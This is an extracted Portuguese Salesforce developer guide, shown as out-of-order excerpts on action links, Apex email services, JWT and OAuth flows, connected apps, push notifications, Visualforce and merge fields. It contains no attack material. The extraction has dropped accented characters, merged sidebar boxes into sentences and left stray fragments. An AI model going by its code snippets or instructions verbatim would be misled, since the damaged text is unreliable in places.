Home

Aprimorar o Salesforce com código

image

Contents

1. key ExpenseApprover value 005B0000000Ge16 ExpenseApprover como 005B0000000Ge1 6 22 Para criar outro modelo de link de a o para esse modelo de grupo de links de a o clique em Salvar e novo 23 Se est adicionando modelos de link de a o a esse modelo de grupo de links de a o clique em Salvar 24 Para publicar o modelo de grupo de links de a o c links de a o ique em Voltar lista para retornar exibi o de lista Modelo de grupo de Importante necess rio publicar um modelo para poder instanciar um grupo de links de a o a partir dele no Apex ou na API REST do Chatter 25 Clique em Editar referente ao modelo de grupo de links de a o que deseja publicar 26 Selecione Publicado e clique em Salvar Edi o de modelos de link de a o poss vel editar todos os campos em um modelo de grupo de links de a es n o publicado e em seus modelos de links de a es associados EDI ES Dispon vel em Salesforce 1 Em Configura o insira Modelos de link de a o nacaixa Busca r pida e selecione Modelos de link de a o Classic e Lightning 2 Para editar um modelo de grupo de links de a o clique em Editar ao lado de seu nome ERRSNEnEE Se o modelo do grupo n o foi publicado edite qualquer campo Se foi publicado edite apenas o campo Nome Dispon vel em Todas as edi es exceto Personal Edition 3 Para editar um modelo de links de a
2. return result Para obter informa es sobre o objeto InboundEmail consulte Usando o objeto InboundEmail na pagina 109 5 Escolha os tipos de anexos que voc deseja que o servi o de email aceite As op es s o Nenhum O servi o de email aceita a mensagem mas descarta qualquer anexo Somente anexos de texto O servi o de email aceita apenas os seguintes tipos de anexos e Anexos com um tipo de MIME Multipurpose Internet Mail Extension text e AnexoscomumtipodeMIME application octet stream eum nome de arquivo com extens o vcf ou vcs Estes s o salvos como tipos de MIME text x vcard e text calendar respectivamente Mensagens com anexos diferentes desses tipos s o aceitas mas os anexos ser o descartados Somente anexos bin rios O servi o de email aceita apenas anexos bin rios como arquivos de imagem udio aplicativo e v deo Os anexos bin rios t m um limite de 5 MB por anexo Mensagens com anexos diferentes dos bin rios s o aceitas mas os anexos ser o descartados Tudo O servi o de email aceita qualquer tipo de anexo Nota O servi o de email s pode processar anexos se voc configurar o servi o de email para aceitar anexos e usar uma classe do Apex que processe os tipos de anexos aceitos pelo servi o de email Al m disso observe que os servi os de email n o podem aceitar anexos inline como elementos gr ficos inseridos em emails 6 Voc tamb m pode marcar a caixa de
3. Load the private key from a keystore KeyStore keystore KeyStore getInstance JKS keystore load new FileInputStream path to keystore jks keystorepassword toCharArray PrivateKey privateKey PrivateKey keystore getKey certalias privatekeypassword toCharArray Sign the JWT Header JWT Claims Object Signature signature Signature getInstance SHA256withRSA signature initSign privateKey signature update token toString getBytes UTF 8 String signedPayload Base64 encodeBase64URLSafeString signature sign Separate with a period token append Add the encoded signature token append signedPayload System out printin token toString catch Exception e e printStackTrace Usando um token portador JWT Tokens de portador JWT devem ser enviados por POST ao ponto final do token em https login salesforce com services oauth2 token https test salesforce com services oauth2 token ou ao implantar para uma comunidade https acme force com customers services oauth2 token em que acme force com customers o URL da comunidade No comando POST os seguintes par metros s o obrigat rios e grant type urn ietf params oauth grant type jwt bearer e declara o O token portador JWT Par metros padr o adicionais e format O formato da resposta pode ser especificado como em um fluxo OAuth usando o par metro token ou um cabe alho
4. Nota Um cone indica que um componente personalizado do Visualforce est em um pacote gerenciado instalado Voc n o pode editar nem excluir um componente personalizado do Visualforce em um pacote gerenciado Um cone indica que um componente personalizado do Visualforce em um pacote gerenciado previamente liberado ser exclu do no upload do pr ximo pacote Voc pode optar por desfazer a exclus o do componente personalizado do Visualforce por meio da p gina de detalhe do pacote e Clicar em Excluir para remover um componente personalizado da sua organiza o Nota O prefixo de namespace adicionado s classes e acionadores do Apex componentes e p ginas do Visualforce modelos de marca pastas s controls recursos est ticos links da web etipos de relat rio personalizados caso eles estejam inclu dos em um pacote gerenciado Mas se voc n o tiver permiss o para personalizar aplicativos o campo de prefixo de namespace n o ser exibido para modelos de marca pastas e tipos de relat rio personalizados Recursos est ticos O que um Recurso est tico Os recursos est ticos permitem carregar conte do para o qual voc pode fazer refer ncia em uma p gina do Visualforce incluindo arquivos como zip e jar imagens folhas de estilo JavaScript e outros arquivos prefer vel usar um recurso est tico para carregar um arquivo na guia Documentos porque e poss vel organizar uma cole o de arqui
5. Selecione o estilo de guia e clique em Avan ar f Quando houver uma solicita o para adicionar a guia aos perfis aceite o padr o e clique em Salvar 2 Atribua os componentes do Lightning a um aplicativo personalizado a Crie um aplicativo personalizado e nomeie o Lightning b Selecione o aplicativo Lightning criado e clique em Editar c Na p gina Edi o de aplicativo personalizado selecione os componentes que deseja incluir clique em Adicionar e em Salvar Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 90 3 Verifique a sa da navegando at o Iniciador de aplicativos no Lightning Experience Seu aplicativo personalizado deve aparecer nolniciador de aplicativos Clique no aplicativo personalizado para ver os componentes inclu dos CONSULTE TAMB M Adicionar os componentes do Lightning ao Salesforcel Seguran a do c digo Protegendo seu c digo Esta se o cont m informa es sobre a implementa o de seguran a no seu c digo e Seguran a da classe do Apex e Configurando a seguran a de p gina do Visualforce de uma defini o de p gina e Dicas de seguran a para Apex e Visualforce Development Seguran a do Apex Seguran a da classe do Apex poss vel especificar quais usu rios podem executar m todos em uma classe do Apex de n vel EDICOES superior espec fica com base em seu perfil ou um conjunto de permiss es associado As permiss es apli
6. Criar editar ou excluir r tulos personalizados e Personalizar aplicativo Criar ou substituir uma tradu o e Gerenciar tradu o OU Ver Instala o e Configura o e ser designado como tradutor EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e excluir custom s controls e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 121 Insira os atributos de s control Para validar todos os campos de mesclagem e fun es do Salesforce clique em Verificar sintaxe Clique em Salvar quando terminar ou clique em Grava o r pida para salvar e continuar editando CON ci R Crie um link ou um bot o personalizado para exibir o custom s control aos usu rios Se preferir crie uma guia da Web usando o custom s control e adicione o s control a um layout de p gina ou adicione o s controle para um painel Voc tamb m pode usar um s control como conte do de ajuda online para um objeto personalizado CONSULTE TAMB M Sobre s controls Exibindo e editando s controls S Controls teis Sobre s controls Importante As paginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls exi
7. SRecordType Id Dicas e Use RecordType Id emvezde RecordType Name para fazer refer ncia de um tipo de registro espec fico Mesmo que RecordType Name torne a f rmula mais leg vel voc dever atualizar a f rmula caso o nome do tipo de registro seja alterado enquanto o ID de um tipo de registro nunca muda No entanto se estiver implementando f rmulas em organiza es por exemplo entre o sandbox e a produ o use SRecordType Name porque os IDs n o s o o mesmo na organiza o e Evite usar SRecordType nas f rmulas exceto em f rmulas de valor padr o Em vez disso use o campo de mesclagem RecordType porexemplo Account RecordType Name ouo campo RecordTypeld no objeto e N o fa a refer ncia a nenhum campo com o campo de mesclagem RecordType nas f rmulas de objetos cruzados A vari vel SRecordType resolve at o registro que cont m a f rmula n o o registro no qual a f rmula chega Use o campo de mesclagem RecordType no objeto em vez disso Request Descri o Campo de mesclagem global a ser usado para fazer refer ncia a um par metro de consulta por nome que retorna um valor Use Adicione SRequest manualmente a seu s control Exemplo de s control O snippet abaixo denominado Title Snippet requer dois par metros de entrada titleTheme e titleText Voc pode reutiliz lo em v rios s controls para incluir o t tulo da p gina e o tema no c digo HTML lt h2 class SRequest titleTheme
8. Um tipo de campo de mesclagem global a ser usado para referenciar detalhes de comunidade em um modelo de email do Exemplos do lt apex page gt Visualforce Re lt apex pageMessage severity info strength 1 summary Label Site temp password sent gt lt apex page gt Dicas Essa vari vel global s est dispon vel para p ginas do Visualforce SNetwork Descri o Visualforce Use Exemplos do Visualforce Use essa express o em um modelo de email do Visualforce para acessar o nome e o URL de login da comunidade lt messaging emailTemplate subject Your Password has been reset User gt lt messaging htmlEmailBody gt lt p gt Hi lt p gt lt p gt Your password for lt b gt SNetwork Name lt b gt community has been reset lt p gt lt p gt lt a href SNetwork NetworkUrlForUserEmails gt Reset recipientType Aprimorar o Salesforce com c digo Dicas ObjectType Descri o Use Exemplo de bot o personalizado Exemplo de regra de valida o Exemplos do Visualforce Guia do usu rio Componentes do Lightning Apex Visualforce 27 Password lt a gt lt p gt lt p gt Regards lt p gt lt p gt Communities Admin lt p gt lt messaging htmlEmailBody gt lt messaging emailTemplate gt Esta vari vel global funciona apenas em modelos de email do Visualforce para comunidades Tipo de campo de mesclagem global a ser usado para faz
9. lt html gt lt body gt LINKTO Create a New Account SAction Account New SObjectType Account lt body gt lt html gt lt apex outputLink value URLFOR SAction Account New gt Create New Account lt apex outputLink gt Essa vari vel global s est dispon vel para bot es e links personalizados custom s controls e p ginas do Visualforce Todos os objetos suportam a es b sicas como novo clonar visualizar editar listar e excluir A vari vel global SAct ion tamb m faz refer ncia s a es dispon veis em muitos objetos padr o Os valores dispon veis na sua organiza o podem ser diferentes dependendo dos recursos que voc ativar SApi Descri o Use Exemplo de s control Exemplo de Visualforce e fluxo Um tipo de campo de mesclagem global para usar ao fazer refer ncia a URLs da API 1 Selecione o tipo de dados SApi 2 Selecione um campo de mesclagem como e SApi Enterprise Server URL xxx O ponto final SOAP do Enterprise WSDL onde xxx representa a vers o do API Por exemplo SApi Enterprise Server URL 140 o valor do campo de mesclagem para a vers o 14 0 do API SApi Partner Server URL xxx O ponto final SOAP do Partner WSDL em que xxx representa a vers o da API e SApi Session ID OID da sess o O campo de f rmula personalizada abaixo chama um servi o para substituir um c digo SIC Substitua meuservidor pelo nome do seu servidor HY
10. poss vel reutilizar o nome de um aplicativo conectado exclu do se o aplicativo conectado foi criado usando a vers o Spring 14 ou posterior N o poss vel reutilizar o nome de um aplicativo conectado exclu do se o aplicativo conectado foi criado usando uma vers o anterior Digiteo Nome da API usado ao fazer refer ncia ao seu aplicativo a partir de um programa Ele retorna a uma vers o do nome sem espa os Apenas letras n meros e sublinhados s o permitidos Ser necess rio editar o nome padr o se o nome original do aplicativo contiver qualquer outro caractere Forn e ao Email de contato que a Salesforce deve usar para entrar em contato com voc ou sua equipe de suporte Esse endere o n o ser fornecido aos administradores que instalarem o aplicativo Forn sera Digi e ao Telefone de contato que a Salesforce deve usar caso precise entrar em contato com voc Esse n mero n o fornecido aos administradores que instalarem o aplicativo e uma URL da imagem de logotipo para exibir seu logotipo na lista de aplicativos conectados e na p gina de consentimento que os usu rios veem ao autenticar O URL deve usar HTTPS A imagem do logotipo n o pode ter mais de 125 pixels de a tura ou 200 pixels de largura e deve estar no formato de arquivo GIF JPG ou PNG com um tamanho m ximo de 100 KB O logotipo padr o uma nuvem H v rias formas de adicionar um logotipo personalizado e Voc pode carregar a s
11. Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para exibir os acionadores do Apex e Apex do autor e Clique em Mostrar depend ncias para exibir os itens como campos s controls ou classes que s o mencionados pelo c digo do Apex contido no acionado e Clique em Download do Apex para fazer download do texto do acionador O arquivo gravado com o nome do acionador como nome de arquivo com o tipo de arquivo trg A p gina de detalhe do acionador mostra as seguintes informa es para um acionador e Onome do acionador e Onome do objeto com o qual o acionador est associado como Conta ou Caso e A vers o da API com a qual o acionador foi salvo e Seoacionador v lido Nota Os acionadores s o armazenados com um indicador V lido que definido como verdadeiro contanto que os metadados dependentes n o tenham sido alterados desde a ltima compila o do acionador Se qualquer altera o for feita nos nomes do objeto ou nos campos usados no acionador incluindo altera es superficiais como edi es em uma descri o de objeto ou campo o indicador V lido ser definido como falso at o compilador do Apex processar o c digo novamente A recompila o ocorrer quando o acionador for executado da pr xima vez ou quando um usu rio salvar o acionador novamente nos metadados Se um campo de pesquisa fizer refer ncia a um registro q
12. O aplicativo foi criado com o SDK do Salesforce Mobile O aplicativo implementa o protocolo de notifica o por push do SDK do Mobile para a sua plataforma Voc um desenvolvedor registrado no provedor de plataformas m veis Apple ou Google O seu aplicativo registrado no Apple Push Notification Service APNS para notifica es por push do iOS ou no Google Cloud Messaging GCM para notifica es por push do Android Voc implementou manipuladores do Apex para notifica es por push Nota Um aplicativo m vel habilitado para push pode oferecer suporte para apenas uma plataforma m vel Se voc fornecer vers es em Android e iOS do seu aplicativo m vel e precisa permitir notifica es por push nas duas vers es crie um aplicativo conectado para cada plataforma Para saber como preencher esses requisitos consulte o Guia de implementa o de notifica es por push do Salesforce m vel Para configurar as notifica es por push para o APNS iOS 1 2 3 4 Selecione Mensagens por push ativadas Em Plataforma de push suportada selecione Apple Selecione o ambiente Apple v lido para o certificado de notifica es por push do APNS Em Certificado selecione o arquivo de certificado p12 recebido APNS quando registrou o seu aplicativo para notifica es por push por exemplo appkey p12 Insira a senha do arquivo de certificado p12 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de
13. OformatodoURL https login salesforce com orgID userID onde orgId olD da organiza o do Salesforce a qual o usu rio pertence e user TD o ID do usu rio do Salesforce Nota Para o sandbox login salesforce com substitu do por test salesforce com O URL deve ser sempre HTTPS Par metros do URL de identidade Os par metros a seguir podem ser usados com a chave de acesso e o URL de identidade O token de acesso pode ser usado em um cabe alho de solicita o de autoriza o ou em uma solicita o com o par metro oauth token Par metro Descri o Chave de acesso Consulte Usando a chave de acesso na p gina 228 Formato e json e xml Esse par metro opcional Especifique o formato da sa da retornada Os valores v lidos s o Em vez de usar o par metro formato o cliente tamb m pode verificar o formato retornado em um cabe alho de aceita o da solicita o usando um dos seguintes e Aceitar application json e Aceitar application xml e Aceitar application x www form urlencoded Observe o seguinte e Cabecalhos de aceita o de curinga s o permitidos aceito e retorna JSON Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 231 Par metro Descri o e Umalista de valores tamb m aceita e verificada da esquerda para a direita Por exemplo application xml application json application html retorna XML e O par
14. es por pelos funcion rios aplicativo por dia PERMISS ES DO Aplicativos m veis instalados a partir do AppExchange 5 000 notifica es por USU RIO aplicativo por dia Para enviar uma notifica o por push a partir da p gina Testar notifica es por push Somente notifica es entreg veis s o contadas para esse limite Por exemplo considere o cen rio 7 a e Apex do autor em que uma notifica o enviada para 1 000 funcion rios da empresa mas 100 deles ainda n o instalaram o aplicativo m vel Somente as notifica es enviadas para os 900 funcion rios que E instalaram o aplicativo m vel s o contadas para esse limite Gerenciar aplicativos conectados Cada notifica o por push de teste que gerada por meio da p gina Notifica o por push de teste limitada a um nico destinat rio As notifica es por push de teste s o contadas para o limite di rio de notifica es por push de um aplicativo Sobre a p gina Enviar notifica o de teste A p gina Enviar notifica o de teste usa informa es da configura o do Apple Push Notification Service APNS ou do Google Cloud Messaging para Android GCM para configurar um mecanismo de push s ncrono Voc seleciona um dispositivo para receber a notifica o por push inserindo uma string de token de conex o Se voc n o sabe qual a string de token pode usar a ferramenta Pesquisar para selecionar a partir da lista de dispositivos r
15. lt active gt true lt active gt lt user type gt STANDARD lt user type gt 5 t Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 238 lt language gt en US lt language gt lt locale gt en US lt locale gt lt utcOffset gt 28800000 lt utcOffset gt lt updated at gt 2013 12 02T18 46 42 0002 lt updated at gt lt user gt Veja a seguir as poss veis respostas do Salesforce a uma solicita o inv lida C digo de erro Problema na solicita o 403 forbidden HTTPS Required HTTP 403 forbidden Missing_OAuth_Token Est faltando a chave de acesso 403 forbidden Bad OAuth Token Chave de acesso inv lida 403 forbidden Wrong Org Usu rios em uma organiza o diferente 404 not found Bad Id Usu rio ou ID da organiza o inv lido ou incorreto 404 not found Inactive Usu rio desativado ou organiza o inativa 404 not found No Access Falta ao usu rio o acesso correto organiza o ou informa es 404 not found No Site Endpoint Solicita o para um ponto final inv lido de um site 404 n o encontrado Erro interno Sem resposta do servidor 406 not acceptable Invalid Version Vers o inv lida 406 not acceptable Invalid Callback Callback inv lido O ponto final de descoberta OpenID Connect O ponto final de descoberta OpenID Connect uma p gina est ti
16. 2 Nota O IDE Force com um recurso gratuito fornecido pelo Salesforce para auxiliar seus usu rios e parceiros mas n o considerado parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce CONSULTE TAMB M http wiki developerforce com page Tools Usando o Console do desenvolvedor Ativando o modo de desenvolvimento C digo Escrevendo c digo Esta se o cont m informa es sobre como escrever c digo para estender sua organiza o e Usando o Console do desenvolvedor e Protegendo seu c digo e Editor de consulta e Trabalhando com c digo CONSULTE TAMB M Depurando o seu c digo Testando suas altera es Implantar Console do desenvolvedor Abrir o Console do desenvolvedor PERMISS ES DO USU RIO Para usar o console do desenvolvedor Para executar an nimo no Apex Para usar a pesquisa de c digo e executar SOQL ou SOSL na guia de consulta Para salvar as altera es s classes de Apex e acionadores Para salvar as altera es nas p ginas do Visualforce e componentes Para salvar as altera es nos recursos do Lightning Exibir todos os dados Apex do autor API ativada Apex do autor Personalizar aplicativo Personalizar aplicativo EDICOES Disponivel em Salesforce Classic e Lightning Experience Disponivel em Enterprise Performance Unlimited Developer e Database com Editions Aprimorar o Sa
17. 3 Clique em Salvar Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 95 Para executar um rec lculo de compartilhamento do Apex nas configura es de gerenciamento do objeto personalizado v para Rec lculos de compartilhamento do Apex e clique em Novo Ao trabalhar com os rec lculos de compartilhamento do Apex observe o seguinte e O c digo do Apex que estende o rec lculo de compartilhamento pode processar um maximo de cinco milh es de registros Se esse c digo do Apex afetar mais de cinco milh es de registros o trabalho ser cancelado automaticamente e Voc pode monitorar o status dos rec lculos de compartilhamento do Apex na fila de trabalhos do Apex e Voc pode associar um m ximo de cinco rec lculos de compartilhamento do Apex por objeto personalizado e Voc pode associar os rec lculos de compartilhamento do Apex a objetos padr o CONSULTE TAMB M Criar motivos de compartilhamento do Apex Seguran a do Visualforce Seguran a de p gina do Visualforce Voc pode especificar os usu rios que podem executar uma p gina espec fica do Visualforce com EDICOES base em seu perfil ou em um conjunto de permiss es associado A permiss o de uma classe do Visualforce verificada somente no nivel superior Quando os usu rios Dispon vel em Salesforce puderem acessar uma p gina eles poder o executar todo o Apex associado p gina Isso inclui Classic e Light
18. Definindo servi os de email O que s o servi os de email Definindo servi os de email Para definir um servi o de email EDICOES 1 Em Configura o insira Servi os de email nacaixa Busca r pida e selecione Servi os de email Dispon vel em Salesforce Classic e Lightning 2 Clique em Novo servi o de email ou em Editar para alterar um servi o de email existente Experience 3 Especifique o nome do servi o de email Dispon vel em Edi es Enterprise Performance Unlimited e Developer O uso de servi os de email nos pacotes instalados do AppExchange tamb m dispon veis em Group e Professional Editions PERMISS ES DO USU RIO Para configurar os servi os de email do Apex e os endere os de servi o de email e Modificar todos os dados Parar criar classes do Apex e Apex do autor Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 107 4 Escolha as classes do Apex que voc deseja que este servi o de email use para processar as mensagens A classe do Apex escolhida dever implementar a interface Messaging InboundEmai lHandler Por exemplo global class myHandler implements ssaging InboundEmailHandler global Messaging InboundEmailResult handleInboundEmail Messaging InboundEmail email Messaging InboundEnvelop nvelope Messaging InboundEmailResult result new Messaging InboundEmailresult
19. Guia do usu rio Integra o de aplicativos com o Salesforce 145 Defini o de quem pode ver o link de a o Escolha um valor na lista suspensa Visibilidade de usu rio para determinar quem pode ver o link de a o quando est associado a um elemento de feed Entre as op es dispon veis est o Apenas usu rio personalizado pode ver ou Todos exceto o usu rio personalizado podem ver Escolha um desses valores para permitir que apenas um usu rio espec fico veja o link de a o ou para evitar que um usu rio espec fico o veja Em seguida digite um valorno campo Alias de usu rio personalizado Esse valor uma chave de vari vel vinculante No c digo que instancia o grupo de links de a o use a chave e especifique o valor da mesma maneira que qualquer vari vel vinculante Este modelo usa o valor de Alias de usu rio personalizado Convidado Action Link Template Edit Information Action Link Group Template Action Type Action URL HTTP Method HTTP Request Body HTTP Headers Default Link in Group Confirmation Required Video Chat J ul https Awww example com video_chat GET Save Save amp New Cancel Required Information Position 0 Label Key Label Accept v User Only custom user can see X Visibility Custom User Alias Invitee Save Save amp New Cancel Ao instanciar o grupo de links de a o defina o valor da mes
20. e Ofluxo de autentica o do servidor da Web deve incluir o par metro response type R sa PERMISSOES DO com o valor code e o escopo openid O par metro nonce opcional para o fluxo de autentica o do servidor da Web USUARIO Veja a seguir um exemplo de solicita o de um token de ID usando o fluxo de autentica o do Para gerenciar criar editar agente do usu rio e excluir aplicativos OAuth e Gerenciar aplicativos conectados https login salesforce com services oauth2 authorize response type tokentid_ token amp redirect uri https login salesforce com services oauth2 success amp client_id 3MVG91KcPoNINVBIPJjdwlJ9LLJbP_pqwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD_ 30xug0sU3 WrBPd Ax6Mcnlg5HSnLGQ amp scope openid nonce somevalue Use as chaves publicas publicadas para garantir que a assinatura na resposta seja uma assinatura valida do Salesforce 1 Acesse https login salesforce com id keys A resposta inclui informa es com formata o JSON sobre as chaves p blicas usadas para assinar 2 Useachave como valor correto de kid que especifica a vers o para validar a assinatura CONSULTE TAMB M Fluxo de agentes de usu rios OAuth 2 0 Fluxo de autentica o do servidor Web OAuth 2 0 Aprimorar o Salesforce com c digo URLs de identidade Al m do token de acesso um URL de identidade tamb m retornado como parte de uma resposta de token no par metro de escopo id O URL de identidade uma st
21. es que n o s o suportados pelas classes do Apex ou quando as classes resultantes excedem o limite de 1 milh o de caracteres nas classes do Apex Por exemplo n o poss vel analisar o WSDL da API do SOAP do Salesforce 5 Modifique os nomes de classe como desejado Embora voc possa salvar mais de um namespace WSDL em uma nica classe usando o mesmo nome de classe para cada namespace as classes do Apex n o podem ter mais de 1 milh o de caracteres no total 6 Clique em Gerar Apex A p gina final do assistente mostra quais classes foram corretamente geradas junto com quaisquer erros de outras classes A p gina tamb m oferece um link para a exibi o do c digo gerado de forma bem sucedida As classes do Apex geradas corretamente incluem classes de fragmento de c digo e de tipo para chamar o servi o da Web de terceiros representado pelo documento WSDL Essas classes permitem que voc chame o servi o externo da Web do Apex Para cada classe gerada uma segunda classe ser criada com o mesmo nome e com um prefixo Async A primeira classe para chamadas s ncronas A segunda classe para chamadas ass ncronas Para obter mais informa es consulte Force com Apex Code Developer s Guide Guia do desenvolvedor do Force com Apex Code Observe o seguinte sobre o Apex gerado Guia do usu rio Componentes do Lightning Apex Visualforce 62 Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex
22. es aplicativo ignora as restri es de IP da ignora as restri es de IP da organiza o de IP organiza o quando uma destas quando uma destas condi es de OAuth na com um condi es verdadeira coluna anterior verdadeira No entanto o segundo e O aplicativo tem faixas de IP Usuario Nao pode acessar O seguinte por fator inclu das na lista aprovada e est 192088 de seguran a usando o fluxo de autentica odo e Trocar senha OAuth no servidor da Web e Adicionar um token baseado em tempo Apenas as solicita es recebidas asa e Qualquer p gina em um fluxo de login dos IPs na lista aprovada s o permitidas e Qaplicativo n o tem lista branca de faixa de IP est usando fluxo de autentica o do servidor da Web ou OAuth usu rio agente e o usu rio conclui com sucesso a confirma o de identidade Relaxar Um usu rio que executa esse Um usu rio que executa esse aplicativo restri es aplicativo conectado n o est sujeito conectado n o est sujeito a quaisquer de IP a quaisquer restri es de IP restri es de IP No entanto o usu rio n o pode acessar o seguinte por raz es de seguran a e Trocar senha e Adicionar um token baseado em tempo e Qualquer p gina em um fluxo de login Aprimorar o Salesforce com c digo Exibir detalhes do aplicativo conectado PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Gui
23. lt head gt lt body gt lt div id mapContainer gt lt div gt lt script type text javascript gt Create a map object Guia do usu rio Componentes do Lightning Apex Visualforce 126 EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer EDI ES Dispon vel em Salesforce Classic Bot es e links personalizados est o dispon veis em todas as edi es S controls est o dispon veis em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer A substitui o de bot es padr o e p ginas iniciais com guias est dispon vel em Edi es Enterprise Performance Unlimited e Developer Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 127 var map new YMap document getElementById mapContainer Display the map centered on given address map drawZoomAndCenter Account BillingStreet Account BillingCity Account BillingState Account BillingPostalCode 3 Set marker at that address map addMarker Account BillingStreet Account BillingCity r Account BillingState Account BillingPostalCode 3 lt script gt lt body gt lt html gt S Controls que substituem bot es padr o e p ginas iniciais com guias Adicionar s
24. o 2 Clique no nome sublinhado de um m todo ou vari vel 3 Pressione CTRL ALT N ou clique em Go To Ir para para mover o cursor para a declara o Se a declara o est em outro arquivo o arquivo abre em uma nova guia Usando a pesquisa e substitui o Use os atalhos de teclado a seguir para pesquisar e substituir o texto dentro da exibi o atual Fun o Atalho Notas Pesquisar CTRL F Abre um formul rio de pesquisa ativa Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 18 Fun o Atalho Notas Substituir CTRL SHIFT F Abre um di logo que solicita o termo de pesquisa e em seguida o termo para substitui o e permite confirmar ou rejeitar cada altera o Substituir tudo CTRL SHIFT R Abre um di logo que solicita o termo de pesquisa e em seguida o termo para substitui o e permite confirmar ou rejeitar a altera o universal Para pesquisar arquivos que n o est o abertos na exibi o atual clique em File Arquivo gt Search in Files Pesquisar em arquivos ou pressione CTRL SHIFT H Usando o preenchimento de c digo O Editor de c digo fonte fornece sugest es de preenchimento autom tico enquanto voc est escrevendo o c digo Nas p ginas e componentes do Visualforce o preenchimento autom tico aparece automaticamente enquanto voc digita Nos acionadores e nas classes do Apex clique em CTRL ESPACO para visualizar uma lista de preenchime
25. o a Clique no nome do modelo de grupo de links de a o PERMISS ES DO b Clique no ID do modelo de link de a o para abrir a p gina de detalhes do modelo Use Ne c Clique em Editar Edit Bara editar modelos de Se o modelo de grupo de links de a es associado n o foi publicado edite qualquer campo Se foi publicado edite qualquer um destes campos e URL da a o e Corpo da solicita o HTTP e Cabe alhos HTTP Esses campos oferecem suporte a vari veis de contexto e vari veis vinculantes grupo de links de a es e Personalizar aplicativo Para editar modelos de links de a o e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o poss vel adicionar e excluir vari veis de contexto em qualquer um desses campos N o poss vel adicionar uma nova vari vel vinculante Voc pode Salesforce 152 e Mover uma vari vel vinculante para outro campo edit vel em um modelo de links de a o e Usar uma vari vel vinculante em mais de um modelo de links de a o e Usar uma vari vel vinculante mais de uma vez em modelos de links de a o associados ao mesmo modelo de grupo de links de a o e Remover vari veis vinculantes Exclus o de modelos de grupo de links de a o Quando voc exclui um modelo de grupo de links de a o exclui os modelos de links de a o associados e todos os grupos de links de a o que fo
26. o com o uso do console do Aprimorar o Salesforce com c digo desenvolvedor 267 Save Order Limits timeline Executed Units Category Millis 14 53 01 100 14 53 01 110 14 53 01 120 14 53 01 130 14 5 XCO aan soon EE ey es vi WORKFLOW 0 00 0 00 DB 0 00 0 00 lt m k Minutes 10 Seconds 9 0 01 Seconds O 0 1 Seconds 1 Seconds Neste exemplo as solicita es de banco de dados demoraram mais 56 95 Elas s o seguidas pela pagina Visualforce A menor quantidade de tempo foi gasta no c digo Apex Al m disso as p ginas do Visualforce e o c digo Apex foram executados primeiro e por ltimo enquanto as opera es de banco de dados eram realizadas entre eles Exibindo um processo complexo Cen rio Seu processo complexo e inclui v rios acionadores e classes do Apex fluxo de trabalho e regras de valida o Quais s o algumas das melhores formas de percorrer ou filtrar o registro de depura o resultante 1 Ase o Pilha cont m uma estrutura em rvore ilustrando o caminho de execu o de todos os itens de n vel superior na solicita o Use a para visualizar a hierarquia de itens medida que eles forem executados 2 Usea caixa de entrada Filter Filtrar no registro de execu o Por exemplo se voc estiver interessado nos eventos espec ficos do acionador clique em Filter Filtrar e insira aci onador Somente as linhas no registro de depura o contendo
27. pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy o Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce Para exibir os detalhes de um acionador em Configura o insira Acionadores do Apex na caixa Busca r pida selecione Acionadores do Apex e clique no nome do acionador Voc tamb m pode acessar os detalhes do acionador a partir das configura es de gerenciamento de um objeto Na p gina de detalhes do acionador poss vel executar as seguintes a es e Clique em Editar para modificar o conte do do acionador Nota Um cone p indica que um acionador do Apex est em um pacote gerenciado instalado Voc n o pode editar nem excluir um acionador em um pacote gerenciado e Clique em Excluir para excluir o acionador da sua organiza o Guia do usu rio Componentes do Lightning Apex Visualforce 61 EDI ES Dispon vel em Salesforce Classic e Lightning Experience
